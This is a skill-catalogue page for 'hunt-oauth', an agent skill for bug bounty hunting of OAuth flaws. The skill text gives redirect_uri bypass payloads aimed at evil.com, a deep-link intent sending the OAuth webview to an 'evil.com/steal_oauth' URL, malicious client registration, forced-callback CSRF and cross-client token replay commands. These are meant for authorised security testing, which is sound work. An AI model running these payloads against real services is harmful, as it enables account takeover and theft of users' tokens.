hunt-oauth
Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports
Install / Use
npx skills add elementalsouls/Claude-BugHunter --skill hunt-oauthInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Our assessment of hunt-oauth
hunt-oauth scores 93/100 on our quality scale, 230th of 729 Security skills we index (top 32%).
Its SKILL.md is 28 KB long, well organised into 60 sections with 13 code examples: a thorough specification that gives an agent plenty to work with.
With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated today, so hunt-oauth is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-09-27. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-oauth compared with similar skills
All 4 of these similar skills score higher than hunt-oauth; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-oauth (this skill)by elementalsouls | 93 | 4.7k | today | SKILL.md |
| Agent-Reachby Panniantong | 100 | 85.6k | 11d ago | CLAUDE.md |
| algorithmic-artby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 4d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 5d ago | SKILL.md |
Frequently asked questions
- How do I install hunt-oauth?
- Run
npx skills add elementalsouls/Claude-BugHunter --skill hunt-oauth. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-oauth work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-oauth safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-oauth still maintained?
- The repository was last updated today, so hunt-oauth is actively maintained.
Skill content
View source on GitHubname: hunt-oauth description: Hunting skill for oauth vulnerabilities. Built from 19 public bug bounty reports. Use when hunting oauth on any target. sources: github, hackerone_public, salt_labs, descope, detectify_labs, harel_research report_count: 22
Crown Jewel Targets
OAuth vulnerabilities are among the highest-value bug classes in web security because they directly enable account takeover, session theft, and authentication bypass — the trifecta that programs pay most for.
Highest-value targets:
- Consumer identity providers (Google, Facebook, PayPal, Apple SSO integrations) — any compromise cascades across all relying parties
- Mobile apps with custom deep link OAuth handlers — Android/iOS intent handling is notoriously loose
- Multi-tenant SaaS platforms (GitLab, Reddit-scale apps) where one OAuth flaw hits millions of accounts
- Gaming/entertainment platforms with federated login (Rockstar, Oculus) — often security-immature teams
- Enterprise SSO connectors — critical infrastructure, high severity payouts
Asset types that pay most:
- OAuth authorization endpoints (
/oauth/authorize,/connect/authorize) - Token exchange endpoints (
/oauth/token) - Mobile deep link handlers (
push_notification_webview, custom scheme URIs) - Social login callback handlers (
/auth/callback,/oauth/callback)
Typical payouts: $500–$20,000+ depending on program; account takeover findings often hit max bounty.
Attack Surface Signals
URL Patterns to Hunt
/oauth/authorize
/oauth/token
/connect/authorize
/auth/callback
/oauth/callback
/login?redirect_uri=
/signin?next=
/auth?return_to=
/oauth/redirect
/push_notification_webview
Response Headers That Signal OAuth
Location: https://accounts.example.com/oauth/...
Set-Cookie: oauth_state=
WWW-Authenticate: Bearer
Content-Type: application/json (with access_token in body)
JavaScript Patterns (grep in JS bundles)
redirect_uri
client_id
response_type=code
response_type=token
state=
nonce=
oauth_token
access_token
push_notification_webview
deeplink
intent://
Tech Stack Signals
- Android apps with
intent-filterinAndroidManifest.xmlhandlinghttp://or custom scheme URIs - Apps using Doorkeeper, OmniAuth, Devise (Ruby), Passport.js (Node), Spring Security OAuth
- Social login buttons (Google, Facebook, Apple) = OAuth surface guaranteed
.well-known/openid-configurationpresent = full OIDC surface available
Step-by-Step Hunting Methodology
-
Enumerate all OAuth entry points
- Spider the app for
/oauth,/connect,/auth,/loginpaths - Check
.well-known/openid-configurationand.well-known/oauth-authorization-server - Decompile mobile APKs:
apktool d app.apkand grep forredirect_uri,intent://, deep link schemes
- Spider the app for
-
Map the full OAuth flow
- Capture the authorization request: note
client_id,redirect_uri,state,nonce,response_type - Capture the callback: note where tokens/codes land, what validates state/nonce
- Capture the authorization request: note
-
Test
redirect_urivalidation (highest yield)- Try exact host bypass:
redirect_uri=https://legit.com.evil.com - Try path traversal:
redirect_uri=https://legit.com/callback/../../../evil - Try open redirects on the legitimate domain first, then chain into OAuth
- Try parameter pollution:
redirect_uri=https://legit.com&redirect_uri=https://evil.com - Try encoded characters:
%2F,%40,%23to confuse parsers
- Try exact host bypass:
-
Test
stateparameter (CSRF)- Remove
stateentirely — does the flow complete? - Reuse a fixed
statevalue across sessions - Check if
stateis validated server-side or only client-side
- Remove
-
Test
nonceparameter (replay/bypass)- Capture a nonce from one flow, attempt to replay it in another
- Check if nonce is validated after token exchange
- Test if nonce can be extracted via referrer leak (step 9)
-
Test authentication step completeness
- For multi-step auth (e.g., email verification + OAuth): can you skip to
/oauth/tokendirectly? - Check if partial auth state (unverified email) is accepted by the token endpoint
- For multi-step auth (e.g., email verification + OAuth): can you skip to
-
Hunt referrer leakage
- After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full
Refererheader - Look specifically at language switchers, analytics calls, social share buttons triggered post-auth
- After OAuth callback with tokens in URL fragment or query, check if any on-page resources (images, scripts, iframes) receive the full
-
Test mobile deep links
- For Android: craft malicious intent URIs that redirect the OAuth webview to attacker-controlled URLs
- Check if deep link handlers validate the origin/host before loading
- Test
push_notification_webviewpatterns that accept arbitrary URLs
-
Test misconfigured client credentials
- Check if
client_secretappears in JS bundles or APK resources - Test if token endpoint accepts arbitrary
redirect_urivalues when combined with leakedclient_id/client_secret
- Check if
-
Verify and document
- Confirm state is not validated → CSRF to account link
- Confirm token lands on attacker domain → session theft
- Confirm email verification skippable → auth bypass
- Run Gate 0 check before reporting
Payload & Detection Patterns
redirect_uri Bypass Payloads
# Host confusion
https://evil.com#legit.com
https://legit.com.evil.com
https://legit.com@evil.com
# Path traversal
https://legit.com/oauth/callback/../../redirect?url=https://evil.com
# Open redirect chain (find open redirect on legit domain first)
https://legit.com/logout?next=https://evil.com
# Parameter pollution
?redirect_uri=https://legit.com/cb&redirect_uri=https://evil.com/cb
# URL encoded slashes
https://legit.com%2F@evil.com
https://legit.com%252F..%252F..evil.com
State CSRF Test
# Step 1: Initiate OAuth flow, capture state value
# Step 2: Drop request, use attacker account's link with victim's session
curl -v "https://target.com/oauth/authorize?client_id=APP&redirect_uri=https://target.com/cb&response_type=code&state=FIXED_VALUE"
# Step 3: Force victim to visit callback with attacker's code + fixed state
https://target.com/oauth/callback?code=ATTACKER_CODE&state=FIXED_VALUE
Nonce Extraction via Referrer
# After OAuth callback landing page, check outbound requests
# Look for Referer header containing access_token or code
curl -v "https://target.com/auth/callback?code=ABC&state=XYZ" \
-H "Referer: https://evil.com" \
--max-redirs 0
# Grep JS for outbound calls made on callback page
grep -r "fetch\|XMLHttpRequest\|img.src\|script.src" callback_page.html
Mobile Deep Link Exploit (Android)
# ADB exploit for push_notification_webview deeplink
adb shell am start -a android.intent.action.VIEW \
-d "target-app://push_notification_webview?url=https://evil.com/steal_oauth"
# Craft intent URI for web-based exploit
<a href="intent://push_notification_webview?url=https://evil.com#Intent;scheme=target-app;package=com.target.app;end">Click</a>
Token Endpoint Auth Bypass
# Test unauthenticated token exchange (skip email verification)
curl -X POST https://target.com/oauth/token \
-d "grant_type=authorization_code" \
-d "code=CAPTURED_CODE" \
-d "client_id=CLIENT_ID" \
-d "redirect_uri=https://legit.com/callback"
# Test with unverified account credentials
curl -X POST https://target.com/oauth/token \
-d "grant_type=password" \
-d "username=unverified@evil.com" \
-d "password=password123" \
-d "client_id=CLIENT_ID"
Grep Patterns for Recon
# In APK/JS files
grep -r "redirect_uri\|client_secret\|oauth_token\|access_token\|push_notification" .
grep -r "intent://\|deeplink\|scheme://" .
# In Burp history
# Filter: URL contains "oauth" OR "token" OR "callback"
# Filter: Response contains "access_token" OR "code=" in Location header
# Check .well-known
curl https://target.com/.well-known/openid-configuration | python3 -m json.tool
OIDC Discovery & Dynamic Registration Abuse
# Enumerate OIDC endpoints (esp. registration_endpoint)
curl -s https://idp/.well-known/openid-configuration | jq '{authorization_endpoint, token_endpoint, jwks_uri, registration_endpoint, response_types_supported}'
# If registration_endpoint is open, register a malicious client with attacker redirect_uri
curl -X POST https://idp/connect/register \
-H "Content-Type: application/json" \
-d '{"client_name":"legit-app","redirect_uris":["https://attacker/cb"]}'
Cross-Client Token Confusion
# Mint token for client A, attempt replay on client B's API
TOKEN=$(curl -s https://idp/oauth/token \
-d "code=$AUTH_CODE&client_id=CLIENT_A&client_secret=SECRET_A&redirect_uri=https://app-a.com/cb" | jq -r .access_token)
# Test if client B's API accepts the token (no audience validation)
curl https://api.app-b.com/admin -H "Authorization: Bearer $TOKEN"
OIDC prompt=none Silent Re-Auth Test
# Test whether adding prompt=none to authorize request yields a token without user interaction
# Signals session fixation / silent auth abuse potential
curl -v "https://idp/authorize?client_id=APP&redirect_uri=https://app/cb&response_type=code&state=XYZ&prompt=none"
Common Root Causes
-
Weak
redirect_urivalidation — developers whitelist by prefix (startsWith) rather than exact match, or whitelist an entire domain instead of specific paths. A sub-path open redirect on the same domain then becomes a full token theft primitive. -
Missing or unvalidated
stateparameter — developers implement OAuth by following basic tutorials that omit CSRF protection, or validate state client-side only in JavaScript (easily bypassed). -
Nonce not validated post-exchange — nonce is generated and sent in the request but never verified against the ID token after the code exchange, making replay attacks possible.
-
Authentication step ordering not enforced server-side — teams implement multi-step auth (signup → email verify → OAuth grant) but don't enforce the sequence server-side. The token endpoint doesn't check completion of prerequisite steps.
-
Token/code in URL with outbound requests on callback page — developers land users on a callback page with tokens in the query string, then that page fires analytics, social share, or CDN requests that leak the full URL via
Refererheader. -
Mobile deep link handlers trust all input URLs — Android/iOS developers build webview wrappers for push notification flows without validating that the loaded URL belongs to their own domain.
-
Misconfigured OAuth application registration — developers register wildcard redirect URIs (
https://*.example.com/*) or don't restrict them at all during development and forget to lock down for production. -
Client secrets embedded in mobile apps — treating confidential client credentials as public, enabling an attacker with the secret to perform token requests with arbitrary redirect URIs.
-
OIDC
subclaim ambiguity across identity providers — apps accepting login from multiple IdPs (Google, Microsoft, Apple) may key accounts onsubalone without IdP isolation. If two IdPs emit the samesubfor different users, one IdP's attacker hijacks accounts linked to the other IdP.
Bypass Techniques
Defender: Exact-match redirect_uri whitelist
Bypass: Find an open redirect on the whitelisted domain itself, then use that URL as the redirect_uri. The OAuth server validates the registered domain ✓, but the open redirect bounces the code/token to attacker.
redirect_uri=https://legit.com/logout?next=https://evil.com
Defender: state parameter required
Bypass: Check if state is validated for length/format but not binding to session. Use a fixed predictable state value. Also check if PKCE is enforced — if not, the state check alone is insufficient for code injection.
Defender: Fragment-only
Truncated for display — read the full file on GitHub.
Related Skills
Agent-Reach
85.6kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
